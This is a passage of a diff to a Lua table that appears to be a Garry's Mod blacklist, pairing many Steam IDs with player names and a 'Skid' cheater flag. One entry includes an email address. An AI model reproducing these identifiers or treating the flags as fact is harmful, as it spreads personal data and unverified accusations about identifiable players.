= true}, + ["STEAM_0:1:31713955"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:39198453"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:19811962"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:47298423"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:24295355"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:30610609"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:26692186"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:18767118"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:15469276"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:19876793"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:43106086"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:20651275"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:34803726"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:11732866"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:29289676"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:24259537"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:11260953"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:21836270"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:14790879"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:42029261"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:31775427"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:23503107"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:42635680"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:20220663"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:27469941"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:41491991"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:20789337"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:17652107"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:20080193"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:21961455"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:42305682"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:14188869"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:38792023"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:23629652"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:47363723"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:39316687"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:30051971"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:41918177"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:48400130"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:19916550"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:48559767"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:29932662"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:39907502"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:38402336"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:38402336"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:35696559"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:19511453"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:17126696"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:28467572"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:45539800"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:37325264"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:14231015"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:48977888"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:35712887"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:50012443"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:36928215"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:31854870"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:24857790"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:37414157"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:18884031"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:17629619"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:474018"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:41937115"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:42457887"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:28833027"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:1818548"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:15921340"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:15089546"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:29020784"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:19890604"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:18299291"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:47721540"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:42108109"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:11486490"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:48337140"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:43159831"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:49999393"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:26956200"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:26840720"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:21143295"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:41958008"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:27409309"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:49516810"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:38882796"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:42076475"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:23119647"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:36136567"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:27936486"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:50068329"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:43688624"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:37835557"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:25560081"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:16970247"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:47971528"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:30697480"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:15049152"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:27209687"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:25160443"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:33742671"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:6343290"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:42393448"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:45036640"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:10843341"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:5267792"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:45119049"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:49701634"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:27449825"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:21350010"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:42549410"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:50880566"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:25779693"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:25931266"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:38704795"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:49437469"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:47460935"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:29999073"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:6093627"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:33289876"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:17654850"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:39552919"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:33062942"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:43651259"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:35799570"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:1647878"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:25757548"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:45808419"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:16501484"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:50032155"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:30498508"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:40107184"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:42416947"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:19913622"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:48004946"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:33789477"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:24470847"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:23361066"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:18913307"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:21835225"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:23921311"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:43708931"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:36820708"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:18460701"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:13419022"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:39157486"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:45008543"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:20889809"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:38972880"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:42998358"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:23221448"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:24640174"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:23853816"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:13196070"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:39272480"] = {Name = "Blackops", Skid = true}, + + ["STEAM_0:0:41435216"] = {Name = "yoududei", Skid = true}, + ["STEAM_0:0:8082599"] = {Name = "zotarn", Skid = true}, + ["STEAM_0:1:39014018"] = {Name = "dragon8301879", Skid = true}, + ["STEAM_0:0:14656565"] = {Name = "poophead33", Skid = true}, + ["STEAM_0:1:44793621"] = {Name = "cdynamic", Skid = true}, + ["STEAM_0:0:43296991"] = {Name = "johntheprod", Skid = true}, + ["STEAM_0:0:26213828"] = {Name = "akinunsal", Skid = true}, + ["STEAM_0:1:32681333"] = {Name = "airsoftglock", Skid = true}, + ["STEAM_0:0:28448162"] = {Name = "rub500", Skid = true}, + ["STEAM_0:1:83858"] = {Name = "bookaroo@yahoo.com", Skid = true}, + ["STEAM_0:0:22995648"] = {Name = "bloodox14", Skid = true}, + ["STEAM_0:1:6833940"] = {Name = "paul2005556", Skid = true}, + ["STEAM_0:1:40103003"] = {Name = "komanda09", Skid = true}, + ["STEAM_0:0:29086312"] = {Name = "bluema133", Skid = true}, + ["STEAM_0:0:33594983"] = {Name = "nbruunn", Skid = true}, + ["STEAM_0:0:38035862"] = {Name = "luther0672", Skid = true}, + ["STEAM_0:0:34620850"] = {Name = "edbaxley", Skid = true}, + ["STEAM_0:0:35626421"] = {Name = "zombiehuntar", Skid = true}, + ["STEAM_0:1:18914322"] = {Name = "_gus", Skid = true}, + ["STEAM_0:0:19962914"] = {Name = "czmate10", Skid = true}, + ["STEAM_0:0:20403076"] = {Name = "lotad53", Skid = true}, + ["STEAM_0:1:25429973"] = {Name = "Mr. Mind Reader", Skid = true}, + ["STEAM_0:1:30154357"] = {Name = "lolguy42", Skid = true}, + ["STEAM_0:1:38457440"] = {Name = "josh162743", Skid = true}, + ["STEAM_0:0:28659383"] = {Name = "powxpurplexx", Skid = true}, + ["STEAM_0:1:27308779"] = {Skid = true}, + ["STEAM_0:0:15479253"] = {Name = "schweinhund5000", Skid = true}, + ["STEAM_0:0:38484217"] = {Name = "foxsatus", Skid = true}, + ["STEAM_0:1:39052921"] = {Name = "mper1703", Skid = true}, + ["STEAM_0:0:39398900"] = {Name = "proangel123", Skid = true}, + ["STEAM_0:0:28107216"] = {Name = "reaxkuthefox", Skid = true}, + ["STEAM_0:0:51345479"] = {Name = "unkownalias", Skid = true}, + ["STEAM_0:1:34029133"] = {Name = "bigbelly63", Skid = true}, + ["STEAM_0:1:49934892"] = {Name = "oddfuturex", Skid = true}, + ["STEAM_0:1:33486687"] = {Skid = true}, + ["STEAM_0:1:37606227"] = {Skid = true}, + ["STEAM_0:1:2864206"] = {Name = "mikeis007", Skid = true}, + ["STEAM_0:0:49963094"] = {Name = "tyleralt3", Skid = true}, + ["STEAM_0:1:41847551"] = {Name = "eric12k", Skid = true}, + ["STEAM_0:0:18871291"] = {Name = "cursed_slayer", Skid = true}, + ["STEAM_0:1:27269461"] = {Name = "squidward595", Skid = true}, + ["STEAM_0:0:32234808"] = {Name = "p0wn4g3x", Skid = true}, + ["STEAM_0:0:39474926"] = {Name = "hypercraft3", Skid = true}, + ["STEAM_0:1:26654223"] = {Name = "joshjosh82", Skid = true}, + ["STEAM_0:1:16702015"] = {Name = "romanian82", Skid = true}, + ["STEAM_0:1:46527909"] = {Name = "strej70", Skid = true}, + ["STEAM_0:1:43163993"] = {Name = "lordjsmith", Skid = true}, + ["STEAM_0:1:37226524"] = {Name = "vincentmarteau", Skid = true}, + ["STEAM_0:0:39384844"] = {Name = "Zivchic:D", Skid = true}, + ["STEAM_0:0:40249834"] = {Name = "SRincarnate", Skid = true}, + ["STEAM_0:0:43352599"] = {Name = "Drycannon", Skid = true}, + ["STEAM_0:0:38418581"] = {Name = "GOT SWAGGER", Skid = true}, + ["STEAM_0:1:27501243"] = {Name = "eryk123621", Skid = true}, + ["STEAM_0:0:19762533"] = {Name = "CrazyNelis ?", Skid = true}, + ["STEAM_0:1:37620514"] = {Name = "LeadeR", Skid = true}, + ["STEAM_0:1:36017201"] = {Name = "(ZMTL)Night-Hawk", Skid = true}, + ["STEAM_0:1:40214489"] = {Name = "Mr_Gamer_Man", Skid = true}, + ["STEAM_0:1:13258271"] = {Name = "nobody", Skid = true}, + ["STEAM_0:0:37853442"] = {Name = "Thorgalak", Skid = true}, + ["STEAM_0:0:30709335"] = {Name = "Ollie ", Skid = true}, + ["STEAM_0:0:17777000"] = {Name = "Mayor", Skid = true}, + ["STEAM_0:0:32239856"] = {Name = "Scorteck", Skid = true}, + ["STEAM_0:1:18246102"] = {Name = "rynicks", Skid = true}, + ["STEAM_0:0:36705011"] = {Name = "[Gmod.biZ] zaCade ???", Skid = true}, + ["STEAM_0:0:29953696"] = {Name = "Electfried", Skid = true}, + ["STEAM_0:1:35073553"] = {Name = "-|Ace|-Shift", Skid = true}, + ["STEAM_0:0:41592262"] = {Name = "SoftDrink", Skid = true}, + ["STEAM_0:0:33149882"] = {Name = "Agent Double", Skid = true}, + ["STEAM_0:0:7370038"] = {Name = "Buhladee", Skid = true}, + ["STEAM_0:1:13349061"] = {Name = "BiG BiB", Skid = true}, + ["STEAM_0:0:31264953"] = {Name = "[zG] Waffle", Skid = true}, + ["STEAM_0:0:18816061"] = {Name = "SuperToxic", Skid = true}, + ["STEAM_0:1:20513516"] = {Name = "schematic", Skid = true}, + ["STEAM_0:0:26431054"] = {Name = "SourceMan FIN", Skid = true}, + ["STEAM_0:1:6041387"] = {Name = "Gaben?", Skid = true}, + ["STEAM_0:1:24101589"] = {Name = "Drocsid", Skid = true}, + ["STEAM_0:0:42038875"] = {Name = "Beastmasters", Skid = true}, + ["STEAM_0:0:14571019"] = {Name = "Mubzat", Skid = true}, + ["STEAM_0:0:22194969"] = {Name = "|à¹Ûۣ© à¹SPAÑkz⢠à¹Û", Skid = true}, + ["STEAM_0:0:29791283"] = {Name = "EliteGecko", Skid = true}, + ["STEAM_0:1:37692289"] = {Name = "?", Skid = true}, + ["STEAM_0:0:27510159"] = {Name = "|Prv....|?|Zman08|?|....Soa", Skid = true}, + ["STEAM_0:1:37808264"] = {Name = "Zack77", Skid = true}, + ["STEAM_0:1:36227887"] = {Name = "Weorge Gashington", Skid = true}, + ["STEAM_0:0:49417510"] = {Name = "angel.pavel777", Skid = true}, + ["STEAM_0:0:31688391"] = {Name = "gta41997", Skid = true}, + ["STEAM_0:1:25596116"] = {Name = "Lilchoto3 (knows Keith)", Skid = true}, + ["STEAM_0:1:18811312"] = {Name = "C0BRA", Skid = true}, + ["STEAM_0:1:40878769"] = {Name = "zozoman57812", Skid = true}, + ["STEAM_0:1:27314649"] = {Name = "Sykranos", Skid = true}, + ["STEAM_0:1:33565504"] = {Name = "reececlarke", Skid = true}, + ["STEAM_0:0:19561634"] = {Name = "GOOD LUCK, I HAVE 7 PROXIES", Skid = true}, + ["STEAM_0:0:10929947"] = {Name = "The color of grass", Skid = true}, + ["STEAM_0:0:40582843"] = {Name = "silver sea565", Skid = true}, + ["STEAM_0:1:26668437"] = {Name = "[C16-Dev] Garry", Skid = true}, + ["STEAM_0:0:22917225"] = {Name = "[g0t] Jogzi", Skid = true}, + ["STEAM_0:1:29012057"] = {Name = "WTTSRGFC.AdminWh?teTiger", Skid = true}, + ["STEAM_0:0:19340321"] = {Name = "@mp3swatgfan", Skid = true}, + ["STEAM_0:1:34928518"] = {Name = "LuaTee", Skid = true}, + ["STEAM_0:1:41701923"] = {Name = "torelly", Skid = true}, + ["STEAM_0:0:23458521"] = {Name = "XxHeDgEhOgZ13xX (SwE)", Skid = true}, + ["STEAM_0:1:27335885"] = {Name = "Dante", Skid = true}, + ["STEAM_0:0:32280962"] = {Name = "Fall0ut", Skid = true}, + ["STEAM_0:1:6796526"] = {Name = "Devul", Skid = true}, + ["STEAM_0:1:20493891"] = {Name = "OMG ZombiePenguin", Skid = true}, + ["STEAM_0:0:28108629"] = {Name = "SkyyScythe", Skid = true}, + ["STEAM_0:0:37895046"] = {Name = "[SFG] vickyputtock", Skid = true}, + ["STEAM_0:0:18932027"] = {Name = "|TSM| Garyroachfreeman", Skid = true}, + ["STEAM_0:1:28909943"] = {Name = "Cal", Skid = true}, + ["STEAM_0:0:19573447"] = {Name = "Orange???", Skid = true}, + ["STEAM_0:0:20248582"] = {Name = "Brucie Wayne", Skid = true}, + ["STEAM_0:1:8405354"] = {Name = "The Dance Commander", Skid = true}, + ["STEAM_0:1:29372458"] = {Name = "Dr.Drunk", Skid = true}, + ["STEAM_0:0:10230123"] = {Name = "THROW UP DA DUB", Skid = true}, + ["STEAM_0:1:6658496"] = {Name = "maddogselite1", Skid = true}, + ["STEAM_0:1:14585758"] = {Name = "ALL YOU CAN EAT", Skid = true}, + ["STEAM_0:1:38354992"] = {Name = "Elementss", Skid = true}, + ["STEAM_0:0:32976159"] = {Name = "KING EPPLESUES", Skid = true}, + ["STEAM_0:0:42920355"] = {Name = "max008man", Skid = true}, + ["STEAM_0:0:38575579"] = {Name = "Sam Andress", Skid = true}, + ["STEAM_0:0:11497220"] = {Name = "tyberius_jefferson", Skid = true}, + ["STEAM_0:0:14073219"] = {Name = "SkiftFox", Skid = true}, + ["STEAM_0:1:18792363"] = {Name = "[G-S-R]AG3NT. MAST3RS", Skid = true}, + ["STEAM_0:0:26932536"] = {Name = "GhostRider", Skid = true}, + ["STEAM_0:1:39801339"] = {Name = "Mondomonkey45", Skid = true}, + ["STEAM_0:1:34047700"] = {Name = "Rainbow", Skid = true}, + ["STEAM_0:1:34848015"] = {Name = "NuzzyFipples", Skid = true}, + ["STEAM_0:0:19589729"] = {Name = "bY StAn ThE mAN", Skid = true}, + ["STEAM_0:0:19700540"] = {Name = "Ohhurdead", Skid = true}, + ["STEAM_0:1:37486791"] = {Name = "<3 ?s??a ?edßull", Skid = true}, + ["STEAM_0:0:40917564"] = {Name = "stratt10", Skid = true}, + ["STEAM_0:1:20669973"] = {Name = "[Fx]markofchaos[MCaddict]", Skid = true}, + ["STEAM_0:1:37562604"] = {Name = "Wheatley :D", Skid = true}, + ["STEAM_0:0:33708185"] = {Name = "Zack", Skid = true}, + ["STEAM_0:0:27242622"] = {Name = "Reyvin", Skid = true}, + ["STEAM_0:1:17797805"] = {Name = "Mr.Stormbane", Skid = true}, + ["STEAM_0:0:18838483"] = {Name = "bensfriend4", Skid = true}, + ["STEAM_0:0:17302808"] = {Name = "c-unit", Skid = true}, + ["STEAM_0:1:38569833"] = {Name = "» J 0 G G ii ? G H 0 S S", Skid = true}, + ["STEAM_0:0:33216519"] = {Name = "ÐÅGOLD(CÃG)N?", Skid = true}, + ["STEAM_0:0:21102182"] = {Name = "(CXG) Dark techno", Skid = true}, + ["STEAM_0:0:6602098"] = {Name = "SPARTAN", Skid = true}, + ["STEAM_0:1:39000242"] = {Name = "State Trooper", Skid = true}, + ["STEAM_0:1:44511758"] = {Name = "dese", Skid = true}, + ["STEAM_0:1:32851381"] = {Name = "Zeitgesit_Killer", Skid = true}, + ["STEAM_0:0:18980599"] = {Name = "formatme #realitydubstep", Skid = true}, + ["STEAM_0:0:40089122"] = {Name = "BuNIONZZZ", Skid = true}, + ["STEAM_0:1:26454552"] = {Name = "^1xxXXAka2300XXxx [DK]", Skid = true}, + ["STEAM_0:1:30280857"] = {Name = "Barlalune !", Skid = true}, + ["STEAM_0:0:15521306"] = {Name = "Avoine", Skid = true}, + ["STEAM_0:1:35071243"] = {Name = "(ZMTL) xXFrozen SundaeXx", Skid = true}, + ["STEAM_0:1:21438596"] = {Name = "[WA]Cam©®", Skid = true}, + ["STEAM_0:0:31976173"] = {Name = "[IGS] Suicidal Apricot", Skid = true}, + ["STEAM_0:1:23737595"] = {Name = "^1Cpt.#^7Smurf ^4007 '' ^9[NL]", Skid = true}, + ["STEAM_0:0:25921343"] = {Name = "Skunk[SGFC]", Skid = true}, + ["STEAM_0:1:17286464"] = {Name = "Ruby", Skid = true}, + ["STEAM_0:1:40302547"] = {Name = "Prothree", Skid = true}, + ["STEAM_0:0:33213184"] = {Name = "bhop| kenny", Skid = true}, + ["STEAM_0:0:30146436"] = {Name = ".:=Builder=:. FreeMan", Skid = true}, + ["STEAM_0:1:34329883"] = {Name = "Vodka", Skid = true}, + ["STEAM_0:1:15710428"] = {Name = "JonBons", Skid = true}, + ["STEAM_0:0:27942974"] = {Skid = true}, + ["STEAM_0:0:6322992"] = {Name = "[NK]»c_Stocky«[SA]", Skid = true}, + ["STEAM_0:0:35810412"] = {Name = "Gmodpwnz", Skid = true}, + ["STEAM_0:0:21992109"] = {Name = "[Quite]AllTheseLimes*", Skid = true}, + ["STEAM_0:1:42657347"] = {Name = "TooCrazzzzy", Skid = true}, + ["STEAM_0:1:38677145"] = {Name = "Elskeleto", Skid = true}, + ["STEAM_0:0:34443669"] = {Name = "I Heard You Liek Mudkipzz", Skid = true}, + ["STEAM_0:0:40722804"] = {Name = "An Obese Turtle", Skid = true}, + ["STEAM_0:1:39642650"] = {Name = "[TA] andy", Skid = true}, + ["STEAM_0:0:20771300"] = {Name = "Meziel", Skid = true}, + ["STEAM_0:0:20474270"] = {Name = ">>W-YC<< []WaJe[] Lag.exe", Skid = true}, + ["STEAM_0:0:33905427"] = {Name = "^8|MC-^4K^01|^4'^7'^1'Yelda", Skid = true}, + ["STEAM_0:0:31641787"] = {Name = "Tested Faythe", Skid = true}, + ["STEAM_0:0:5628551"] = {Name = "???| BloodyHammer", Skid = true}, + ["STEAM_0:1:25266961"] = {Name = "Fisheater", Skid = true}, + ["STEAM_0:0:15726896"] = {Name = "| PoKi | Mr Props", Skid = true}, + ["STEAM_0:1:16350677"] = {Name = "OsCaRsHaRk", Skid = true}, + ["STEAM_0:1:34530784"] = {Name = "-[LCG]- Marvincmarvin", Skid = true}, + ["STEAM_0:1:18757876"] = {Name = "?i?? | RazoR", Skid = true}, + ["STEAM_0:0:41538056"] = {Name = "iMudkipz", Skid = true}, + ["STEAM_0:1:29327756"] = {Name = "XTracer", Skid = true}, + ["STEAM_0:1:32531347"] = {Name = "FuriousJack95", Skid = true}, + ["STEAM_0:1:30106483"] = {Name = "dr. Freeman", Skid = true}, + ["STEAM_0:1:19356463"] = {Name = "[GMG] The Odd Mu[n]chie", Skid = true}, + ["STEAM_0:1:29248522"] = {Name = "NO? | Penguin", Skid = true}, + ["STEAM_0:0:35384662"] = {Name = "Inhee", Skid = true}, + ["STEAM_0:1:17693550"] = {Name = "????", Skid = true}, + ["STEAM_0:1:19015759"] = {Name = "The Phoenix", Skid = true}, + ["STEAM_0:1:17013516"] = {Name = "Interknet", Skid = true}, + ["STEAM_0:0:42028155"] = {Name = "[VN] Necromancer", Skid = true}, + ["STEAM_0:0:26325950"] = {Name = "(AoN) Scythe. Vallis", Skid = true}, + ["STEAM_0:1:30473979"] = {Name = "[L4G]Mao", Skid = true}, + ["STEAM_0:0:35182677"] = {Name = "-hg- $panishcpt", Skid = true}, + ["STEAM_0:0:19882629"] = {Name = "XerXes", Skid = true}, + ["STEAM_0:1:15981340"] = {Name = "Nullsquared", Skid = true}, + ["STEAM_0:1:21595494"] = {Name = "Comander Jake", Skid = true}, + ["STEAM_0:1:9254303"] = {Name = "Brisarge", Skid = true}, + ["STEAM_0:0:24549875"] = {Name = "[I-G]iolyellor-applejack", Skid = true}, + ["STEAM_0:1:28034452"] = {Name = "PandaBunny", Skid = true}, + ["STEAM_0:1:33133624"] = {Name = "Skillfullrampage n0Reas0n", Skid = true}, + ["STEAM_0:1:26013561"] = {Name = "Ijorean Grey *Neko*", Skid = true}, + ["STEAM_0:0:27724947"] = {Name = "// LoX", Skid = true}, + ["STEAM_0:1:42244565"] = {Name = "bananakingy", Skid = true}, + ["STEAM_0:1:20482849"] = {Name = "SuperZero", Skid = true}, + ["STEAM_0:1:39246443"] = {Name = "Rawb", Skid = true}, + ["STEAM_0:0:19915495"] = {Name = "[SN] Bladever", Skid = true}, + ["STEAM_0:1:2901828"] = {Name = "boggle66", Skid = true}, + ["STEAM_0:1:23545934"] = {Name = "ShvartZ", Skid = true}, + ["STEAM_0:1:26237111"] = {Name = "Unknown Player -Mp5- (D.B.S)", Skid = true}, + ["STEAM_0:1:28202429"] = {Name = "ggggggg", Skid = true}, + ["STEAM_0:1:22652687"] = {Name = "[EUP] MBR NL", Skid = true}, + ["STEAM_0:1:33956590"] = {Name = "???yRoX ???-? ?", Skid = true}, + ["STEAM_0:1:47575354"] = {Name = "johnnyiii", Skid = true}, + ["STEAM_0:1:19156279"] = {Name = "Green NuKe", Skid = true}, + ["STEAM_0:0:35349986"] = {Name = "Teamplayer #1", Skid = true}, + ["STEAM_0:0:14316064"] = {Name = "Red", Skid = true}, + ["STEAM_0:1:16534089"] = {Name = "s0beit", Skid = true}, + ["STEAM_0:1:20706589"] = {Name = "IronCrunchy", Skid = true}, + ["STEAM_0:1:29142298"] = {Skid = true}, + ["STEAM_0:0:37797796"] = {Name = "aintash", Skid = true}, + ["STEAM_0:0:41966408"] = {Name = "-GUN- ¤¤D3AD_S1L3NT¤¤ ", Skid = true}, + ["STEAM_0:1:9892737"] = {Name = "Mikeums", Skid = true}, + ["STEAM_0:0:32493258"] = {Name = "Dusty", Skid = true}, + ["STEAM_0:0:31395925"] = {Name = "EmilyBliss", Skid = true}, + ["STEAM_0:0:38896771"] = {Name = "jimtsal60", Skid = true}, + ["STEAM_0:0:29141308"] = {Name = "[smc194658]Nussecke[manuel]", Skid = true}, + ["STEAM_0:0:17518358"] = {Name = "[TG] Chuteuk", Skid = true}, + ["STEAM_0:0:16210164"] = {Name = "[UC] Wesker Ashford [DOD]", Skid = true}, + ["STEAM_0:0:40515719"] = {Name = "viperkid108", Skid = true}, + ["STEAM_0:0:6796891"] = {Name = " Dr. Phil", Skid = true}, + ["STEAM_0:0:22030218"] = {Name = "IceD", Skid = true}, + ["STEAM_0:0:18691624"] = {Name = "lulululululul", Skid = true}, + ["STEAM_0:1:39718652"] = {Name = "saints", Skid = true}, + ["STEAM_0:1:26795718"] = {Name = "Toasty99", Skid = true}, + ["STEAM_0:0:40916370"] = {Name = "[DOG] Ryan! <3", Skid = true}, + ["STEAM_0:0:6083931"] = {Name = "NOO????? NO SOUND!", Skid = true}, + ["STEAM_0:1:15748061"] = {Name = "DubStepper", Skid = true}, + ["STEAM_0:0:20935234"] = {Name = "innocent", Skid = true}, + ["STEAM_0:0:17552156"] = {Name = "rawrmon", Skid = true}, + ["STEAM_0:1:16106995"] = {Name = "{LTF}Deadpool", Skid = true}, + ["STEAM_0:0:19141207"] = {Name = "Why so derp?", Skid = true}, + ["STEAM_0:1:44967454"] = {Name = "Solace", Skid = true}, + ["STEAM_0:0:32752830"] = {Name = "just_charlie", Skid = true}, + ["STEAM_0:1:36952930"] = {Name = "adam00722", Skid = true}, + ["STEAM_0:0:38049562"] = {Name = "BOoM-ZoOM.CLAN|*?//ER Drago", Skid = true}, + ["STEAM_0:0:39789811"] = {Name = "»e??«ßLu", Skid = true}, + ["STEAM_0:1:32509520"] = {Name = "^2 [MLG_Pro] o0Scribbles0o", Skid = true}, + ["STEAM_0:0:26776457"] = {Name = "R0nm0n5t3r{UK}", Skid = true}, + ["STEAM_0:1:19457286"] = {Name = "Grey Bullet 